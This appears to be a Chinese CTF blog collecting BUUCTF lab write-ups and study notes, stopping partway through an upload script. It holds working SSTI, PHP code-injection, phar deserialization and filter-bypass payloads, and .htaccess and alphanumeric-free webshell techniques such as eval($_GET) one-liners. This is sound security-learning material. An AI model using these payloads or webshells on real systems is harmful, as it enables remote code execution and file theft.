buuctf20

之前的博客忘记保存了。。。。呜呜呜呜

cookie伪造,session是很明显的base64编码,把钱更改一下,然后id更改一下就可以拿到flag了

[RootersCTF2019]I_<3_Flask

介绍一个工具:
Arjun工具
使用python进行安装
简单介绍一下使用方法:

python3 arjun -u http://25aa54c2-e825-4339-b4cf-b794f03a4221.node4.buuoj.cn/ -m get -c 150 -d 0.5

https://www.freebuf.com/sectool/200175.html

img

https://www.freebuf.com/sectool/200175.html

扫出注入名为name,接下来直接构造注入语句进行注入

name={{%22%22.__class__.__base__.__subclasses__()[222]('cat /proc/self/cwd/flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

其中也有遇到一个难点,就是找不到flag,越是先使用了find -name “flag*”找了一下flag,发现是flag.txt,但依旧不知道路径,于是翻了一下linux重要目录,使用/proc/self/cwd/列出了当前运行进程工作目录:
img

但是还是没有完整路径,这里就猜想了一下,这个路径能不能直接访问呢?

没想到居然是可以的
所以就有了以上payload

小tips

可以通过/proc/self/cwd/直接cat到当前工作进程的文件
例如/proc/self/cwd/flag.txt 就可以直接cat到此flag而不需要去寻找flag的绝对路径

[BJDCTF2020]EzPHP

 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

真好,又忘记保存博客了。

绕过小结

1.$_SERVER['QUERY_STRING']绕过
$_SERVER[‘QUERY_STRING’]接受数据是不会进行解码的,所以我们直接将传入的内容进行url编码即可

2.preg_match绕过
正则匹配使用%0Aj进行换行操作即可绕过

3.REQUEST值匹配绕过
由于post的优先级高于get,所以我们只要传一个post值就可以,当然是要数字

4.file_get_contents绕过
我们知道file_get_contents是从文本中读取内容,那么这里就需要使用php的伪协议了,使用data即可格式为data:text/plain;+文本

5.sha绕过使用数组进行绕过即可
就传入数组就行

但是很奇怪 当我在绕过第三个的时候发现就出问题了,,在本地尝试也是可以绕过的,但是到了buu上面就是绕不过?
看了一下wp 考点在于后面create_function的构建,于是就直接来学学吧

create_function的使用

1.简介

适用范围:PHP 4> = 4.0.1PHP 5PHP 7

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

语法:

create_function(string $args,string $code)
string $args 声明的函数变量部分

string $code 执行的方法代码部分

2.功能分析案例

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

img

3.执行原理分析

create_funtion()会创建一个匿名函数(lambda样式)。此处创建了一个lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数

create_function()函数会在内部执行eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string$code位置

function lambda_1($a, $b){
return $a+$b;
}

4.本题利用详解

本题利用点在这里:

$code('', $arg); 

第一个参数为空,第二个为可控参数,所以我们需要构造注入语句,看下$arg来自哪里。。逛了一圈,发现哪里都没有发现了extract() 函数

extract() 函数
从数组中将变量导入到当前的符号表。 该函数使用数组键名作为变量名,使用数组键值作为变量值。 针对数组中的每个元素,将在当前符号表中创建对应的一个变量。 该函数返回成功设置的变量数目。

所以我们就利用这个flag来改变arg的值
首先,构造出来的语句要具有变成下面这样:

function a{
return $a;
}
xxx;//}

翻译成我们的注入语句即为:

&flag[arg]=}a();//&flag[code]=create_function

而这个a后面的函数我们还有待构建就是了。。
接下的难点是
1.无法使用system()等函数执行系统命令,过滤了flag等关键字,过滤了print等关键字
但是,在这里还包含了

{ 
include "flag.php";
$code('', $arg);
} ?>

这里的这个思路就很奇妙了
包含了这个文件,代表可以使用里面的变量,所以要想办法在不指定变量名称的情况下输出变量的值——get_defined_vars()函数用来输出所有的变量和值

所以使用的payload为:

&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

但是此时只能获取到假的flag,继续构造:

&flag[arg]=}require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//&flag[code]=create_function

由于环境受限没法复现完全,但是看了师傅们的文章感觉视野开拓了不少

非预期解

1取反/异或绕过+伪协议读源码

payload:

require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%CE%99%93%9E%98%D1%8F%97%8F));//

中间的取反结果为:

php://filter/read=convert.base64-encode/resource=1flag.php

https://www.gem-love.com/ctf/770.html#%E8%80%83%E7%82%B96%EF%BC%8Ccreatefunction()%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5

小结:

这题很可惜,似乎是环境出了点问题所以没办法做到最后一步,但是也收获了很多,尤其是最后文件包含的思路,眼前一亮,以及非预期解让我懂得了其实字符过滤,异或取反操作往往会有不一般的收获,

buuctf19

[SWPUCTF 2018]SimplePHP

一开始就先看看源码之类的 发现flag在flag.php

然后查看文件这里有个?file=什么 感觉可以文件包含,成功拿到源码

<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

用了白名单过滤,所以暂时没有什么好的绕过方法
于是看看文件包含能不能继续走,发现一个class.php

 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{ #将str赋值为name
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

文件上传+序列化——>phar反序列化,所以此时思路就来了
接下来开始研究一下如何上传
img

这是怕我们做不出来 还特意给了提示吧,分析一下pop链如何构造
最后哟个file_get_contents这应该是我们的最终利用点了,从后往前推,是value被查,所value的赋值来自get里面的params[$key],那我们就需要让key的值来自get的赋值,所以我们需要使用到get这个魔术方法,使用条件为读取不可访问或不存在的属性时跳转,往前看 show的set里面有个key,想要跳转到set的条件是,对不可访问或不存在的属性进行复制,那么value又要从哪里来?所以这里好像行不通,我们换个思路,我们要使用get这个魔术方法,就要看看哪里能调用不可访问或不存在的属性进行跳转,这个时候就看到tostring里面的str[‘str’]->source,我们此时将str[‘str’]赋值为test类,那么就会调用不存在的属性source,就会跳转到test的get中了,那么tostring那里会被调用了,除了show里面的construct我们要用来对file赋值以外,就是cle4r里面的destruct了接下来正式构造一波:

感觉对于这里的思路很乱,于是尝试重新理顺一下思路:

pop链的构造首先需要找到头和尾,头就是传入的地方,尾就是最终执行的地方

本题中的尾巴就是file_get_contents,头就是我们的phar

从尾部倒退,我们要执行file_get()就要执行get(),那么就需要执行__get,即调用不存在或不可访问的属性,那么我们在哪里可以调用不存在或不可访问的属性呢?

to_string中使用了str[‘str’]调用了source,而source是test中没有的属性,所以我们可以将str[‘str’]赋值为test

但是问题又来了,to_string 如何调用呢?那么就需要找到将类转化为字符串输出的地方

在__destruct中有个echo $this->test这里我们如果将test为show类,那么就会调用show类里面的to_string了

整体的思路如上

接下来就写一下具体的构造链条:

<?php
class C1e4r
{
public $test;
public $str;

}

class Show
{
public $source;
public $str;

}
class Test
{
public $file;
public $params;

}
$a=new C1e4r();
$b=new Show();
$c=new Test();
$a->str=$b;
$b->str['str']=$c;
$c->params['source']='/var/www/html/f1ag.php';
echo serialize($a);
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($a); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.gif", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>
O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}} 

以上即可构造成功,但是这题是phar 我们还需要加点内容

接下来就是改一下后缀诶gif之类的图像后缀,上传文件 然后使用phar:解析了
img

如上所示,在这里可以看到文件名,所以

file.php?file=phar://upload/67e9350f1ef6ad63c902075576c35210.jpg

小结:

本题是常规的phar反序列化题目

[HarekazeCTF2019]encode_and_encode

 <?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');#使用php伪协议接受数据,意味着我们可以post内容
$json = json_decode($body, true);#对于我们post的内容进行解码
#检查是否有黑名单的内容
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];#解码出来以后需要有page标签
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

看到题目 又看到过滤了那么多内容,第一时间想到的是会不会有什么字符串解析漏洞
先分析一下源码吧:
好了分析完毕,其实思路很简单,就是通过json的一些解析漏洞构造特殊编码形式绕过is_valid检查,而且很关键的是is_valid针对的是body的检查,而不是被解码后的json检查,然后再file_get_contents文件包含后再绕过一次,这里就很明显,肯定用php://filter base64加密就好了
http://www.faqs.org/rfcs/rfc7159.html
在这篇文章中,提到了一点:
如果遇到
img

所以这里用\u 也就是Unicode的编码形式进行绕过试试看:
payload:

{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

额 成功了,感觉这题可能难度不大=-= 找找资料就行了

[网鼎杯 2020 白虎组]PicDown

img

一开始看到url 感觉像是文件读取,于是就随便试了一下,发现可以下载文件,但是不知道怎么打开,于是抓包 发现直接就有flag了–
应该是非预期解
看了一下正规wp,果然~
首先/proc/self/cmdline读取当前运行文件进程
得到app.py,并读取获得源码

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

分析一波:

可以看到有三个路由 关键是第三个有个os.system可以执行shell
但是需要我们匹配密钥,但是在一开始就被删了,不过没关系,这个文件是用open打开的,会创建文件描述符。我们读这个文件描述符中的内容就好了:

/proc/self/fd/3

/proc/[pid]/fd 是一个目录,包含进程打开文件的情况,所以我们打开self里面序号为3(3是fuzz出来的)

PyqGcLrhUhzQcdZiXqYiW+rUDJNn85fC9pMN3VEje7Q=

获得密钥,接下来就是进行连接
img
一开始尝试了一下 发现key不对,很纳闷,urlencode后就行了,发现有个+号被解析为空格了、、、有个小坑,后面的shell构造先留个坑,服务器买来好久没用了00忘记密码了,,,,

PHP反序列化类的基础知识再学习

前言

总觉得自己的基础知识不是很扎实,导致在做题的过程速度很慢,也没有完整的整理过,所以这里把基础概念再整理一下

类有什么

类可以有常量、属性(也就是变量)、方法(也就是函数)

什么是类

类是面向对象的基本概念,就是对现实中某一种类的事物的抽象

比如手机可以抽象为一个类,具体属性有显示屏类型,显示屏帧率,处理器,内存规格,电池大小,快充功率,摄像头规格等。

可以有获取手机名称,打电话,玩游戏,看视频,聊天等操作方法。

class phone{
//声明属性
$name='手机';
function getPhoneName{
return $this->name;
}
}

什么是对象

对象是异类食物的一个具体事例:比如这部手机

对象通过new关键字实例化

$phone =new Phone();//实例化一个手机对象
$phone->name ='iphone';//给手机名称赋值
echo $phone->getPhoneName();//调用getPhoneName的方法

小结

类是抽象的概念,对象是具体的实例,类使程序具有重用性,就是可以被其他类继承

什么是属性

类的变量成员即为属性

伪变量$this

$this 的含义是表示实例化后的具体对象

举个例子:

class phone{
public $name;
public function getName(){
echo $this->name;
}
}
$user=new phone;
$user->name='iphone';
$user->getname();
//echo iphone;

一点体会

我们的class 是类,我们后面的$XXX=new xxx;是实例化一个对象,对象是这个XXX!我们实例化了这个对象,他就具有了类的相关性质,我们可以进行调用。

htaccess文件详解

前言

感觉以前学的确实是不够精,原来htaccess文件不止是可以将其他文件以php的方式解析

简介

htaccess提供了针对目录改变配置的方法

可实现功能

文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能

指令作用范围

.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。

一些代码整合

让某些文件以php的方式解析

AddType application/x-httpd-php .png
将png解析为php
<FilesMatch "1"> 
SetHandler application/x-httpd-php
</FilesMatch>
包含1的文件均解析为php

在所有页面包含(require)某个文件

auto_prepend_file与auto_append_file使用方法

php.ini中有两项

auto_prepend_file 在页面顶部加载文件

auto_append_file 在页面底部加载文件

使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。

思路拓展:

我们看一下这个原理,他是文件包含的思想在某个页面加载文件,当我们想到文件包含的时候自然而然地就会想到php伪协议,这就是这个功能的厉害所在
如果有一道题目,他过滤了php的所有标签,但是允许你上传htaccess,这个时候的思路就是,将含有马的文件base64加密上传,然后再htaccess添加配置:php伪协议解码打开
当然显示的页面本身的代码也要是php语言

代码

php_value auto_prepend_file xxx.php
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议

php_value include_path "xxx"

如果当前目录无法写文件,也可以改变包含文件的路径,去包含别的路径的文件

用途:文件包含,可以配合AddType

利用报错信息写文件

php_value error_reporting 32767
php_value error_log /tmp/fl3g.php

开启报错的同时将报错信息写入文件

用途:利用报错写shell

UTF-7编码绕过尖括号<过滤

php_value zend.multibyte 1 # 启用多字节编码的源文件解析
php_value zend.script_encoding "UTF-7"

将代码的解析方式改成UTF-7

mb_convert_encoding('<?php eval($_GET[\'cmd\']); ?>',"utf-7");

payload样例:

+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs

prce绕过正则匹配

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false

tricks

.htaccess似乎可以像shell那样使用\将两行内容解释为一行

  • 绕过脏字符
    如果.htaccess文件中有不符合语法的内容,访问服务器会直接报500,如果题目中乱写.htaccess文件,我们可以尝试换行注释掉脏字符
    例如:题目中有file_put_contents($filename, $content . "\nJust one chance"),我们payload最后可以加上#\#负责注释,\将注释符和脏字符连成一行,注释掉脏字符,最后的文件为
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
Just one chance
  • 绕过WAF
    如果题目过滤了’file’,可以这么写.htaccess
php_value auto_prepend_fi\
le ".htaccess"
#<?php eval($_GET[a]);?>\ .php.

(2)绕过exif_imagetype()上传.htaccess

#define width 20
#define height 10

采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。
在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。
也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:
#define test_width 16
#define test_height 7

参考:https://www.cnblogs.com/20175211lyz/p/11741348.html

ErrorDocument

利用这个文档可以读文件

https://www.docs4dev.com/docs/zh/apache/2.4/reference/mod-core.html#errordocument

ErrorDocument 500 http://example.com/cgi-bin/server-error.cgi
ErrorDocument 404 /errors/bad_urls.php
ErrorDocument 401 /subscription_info.html
ErrorDocument 403 "Sorry, can't allow you access today"
ErrorDocument 403 Forbidden!
ErrorDocument 403 /errors/forbidden.py?referrer=%{escape:%{HTTP_REFERER}}

意思是,当出现以上错误时,就会返回后面的内容,那就意味着可以直接读了

ErrorDocument 404 %{file:/etc/apache2/apache2.conf}

https://www.cnblogs.com/ningmeng666/p/7644002.html

ErrorLog

ErrorLog 也能执行命令 customlog globallog forensiclog transferlog 都具有 pipe 形式

参考格式:https://www.docs4dev.com/docs/zh/apache/2.4/reference/logs.html#piped

https://github.com/wireghoul/htshells

不包含数字和字母的webshell

前言

已经做了两题有关无数字和字母的getshell,这里整理一下‘

基础篇

方法一:异或运算获得字符

在PHP中,两个字符串进行异或操作以后,得到的还是一个字符串,原理很简单,直接贴脚本了:

import re
str = r"!@#$%^*()+<>?;:-[]{}\/"
# if re.match('[a-zA-Z0-9]+','a'):

result=""
print(chr(ord('!')^ord('@')))
for j in range(len(str)):
for i in range(len(str)):
result=chr(ord(str[j])^ord(str[i]))
# print(result)
if re.match('[a-zA-Z0-9]+',result):
# if result=='_':
print(str[j]+"^"+str[i]+"="+result)

同类型的还有一个取反

方法二:++特性取字符

img
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

提高篇

长度限制+不包含$和_

php7中关于变量处理的变化

1.解析顺序
img 对变量、属性和方法的间接调用现在将严格遵循从左到右的顺序来解析
2.执行动态函数方法

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

payload:

(~%8F%97%8F%96%91%99%90)(); //(phpinfo)()

PHP5中如何执行方法

思维导入

大部分语言都不是单纯的逻辑语言,一门全功能的语言必然需要和操作系统进行交互,操作系统里面包含最重要的两个功能就是shell(系统命令)和文件系统。

PHP自然也能够和操作系统进行交互,“反引号”就是PHP中最简单的执行shell的方法。那么,在使用PHP无法解决问题的情况下,为何不考虑用“反引号”+“shell”的方式来getshell呢?

这里有个知识点需要了解一下,在linux系统中,许多系统命令都是有自己的脚本文件在,我们可以通过调用这些脚本文件来执行shell命令,这也就是之前所说的linux系统中,一切皆文件的思想,即使用bash执行file文件中的命令

介绍两个shell知识点:
1、shell可以用.来执行任意脚本,并且不需要file有x权限
2、linux文件名支持用glob通配符代替

思路

上传bash文件——执行文件

问题一:没有上传窗口文件该如何上传?

使用脚本

import requests
files={
'file':open('1.txt',rb)
}
url=""
response=requests.get(url,files=files)
print(reponse.txt)

利用脚本post直接上传

问题二:不能用字母数字,如何选中所要执行的文件?

这个时候就利用了glob通配符的知识了,我们知道,上传的文件会被临时储存在/tmp/文件夹下,那么如何确定其他的字符呢?

*首先可以代表0个及以上的任意字符**
?可以代表1个任意字符

所以我们的文件名就可以表示为/*/??????或者/???/??????(这里假定文件名为6位)

但是此时,符合此文件名可能不止一位,所以该如何更精准的定位呢?

深入理解glob通配符

glob支持用[^x]的方法来构造“这个位置不是字符x”并且支持利用[0-9]来表示一个范围

筛选方法:
1.???[^x]??筛选出第四个字符不是x的项
2.???[@-[]??筛选出第四个字符时大写字母的项(这里利用了ascc码的一个范围)

image.png

参考:https://www.php.net/manual/zh/migration70.incompatible.php

buuctf18

前言

感觉最近有点小浮躁,必须要尽快调整~脚踏实地才是最重要的

[SUCTF 2019]EasyWeb

<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);//不可以使用超过12种的字符
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

思路:执行eval函数,然后上传文件
首先需要绕过那个正则匹配字母数字的,之前使用异或去取字符

import re
str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/"
# if re.match('[a-zA-Z0-9]+','a'):

result=""
print(chr(ord('!')^ord('@')))
for j in range(len(str)):
for i in range(len(str)):
result=chr(ord(str[j])^ord(str[i]))
# print(result)
if re.match('[a-zA-Z0-9]+',result):
print str[j]+"^"+str[i]+"="+result
print("\n")

但是发现也有过滤一些特殊字符,所以这个方法不太行,

https://my.oschina.net/u/4306654/blog/3363280
用一下其他办法

import urllib.parse
find = ['G','E','t','_']
for i in range(1,256):
for j in range(1,256):
result=chr(i^j)
if(result in find):
a= i.to_bytes(1,byteorder='big')#将十进制整数,转化为bytes(十六进制)
b= j.to_bytes(1,byteorder='big')
a= urllib.parse.quote(a)#进行URL编码
b= urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))

我们将范围扩大到很多不可见字符,这里就是使用ascii码了,然后为了防止被过滤,我就找了最下面的几个

t:%FE^%AA
_:%FE^%A1
G:%FE^%B9
E:%FE^%BB

绕过18个字符就是用get再传参一次

first_payload for test:

${%A1%B9%BB%AA^%FE%FE%FE%FE}{%A1}();&%A1=phpinfo
${_GET}{%A1}()=$_GET(%A1)

这里有个很奇怪的点,就是这个t,别人跑出来都是AA我跑出来是8A=-=,所以payload一直不对,但是放到python里面去解析,去反编码回去,又是正确的?难道又是版本问题吗?


img

总之,到这里就可以继续往下走了,接下来看源码,发现需要上传文件了
看一下过滤吧:

$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);

1.检查后缀是否含有ph、检查内容是否含有<?、检查是否为图片
img

文件上传思路

由于过滤了ph后缀的文件,所以我们只能上传user.ini或者htaccess,这里显然上传htaccess更合适,因为可以用来将其他非php的文件解析为php,但是接下来会检查内容是否含有<? 这里就是一个难点了,因为此时短标签绕过不了,想着使用<script>进行绕过,但是刚刚我们可以看到这个php版本为7.几的
img

这里有两种方法,一种是改变php的编码格式,另一种是以加密的形式传入,并解密读取
接下来是绕过图片检查,这里使用的函数是exit_imagetype()
**exif_imagetype()**读取图像的第一个字节并检查其签名。此时就很妨碍我们上传.htaccess了,这样就会不符合.htaccess的书写语法,导致无法解析.htaccess,那么我们该如何操作呢?这里说一下看完WP后的理解:要满足该函数的检查,首先会检查第一个字节,可以发现,第一个字节为空可以绕过检查,即/x00但是因为是图片检查,又需要定义其大小才会符合图片的定义(这里由于不了解exif_imagetype()的C代码运行逻辑,所以只能先猜测一下,待后面找到了再来补充,问了一下学长,确实是这样),接下来就是书写.htaccess的内容了,然后上传完.htaccess就上传我们的马,此时也需要加密一波再进行上传,头的检查和刚才的一样。

.htaccess文件内容构造

首先解决第一个问题:没有上传窗口如何上传文件——使用Python的requests库上传文件
https://blog.csdn.net/five3/article/details/74913742

import requests
s=requests.session()
conten_htacc=b"""
#define width 1
#define height 1
AddType application/x-httpd-php .gg
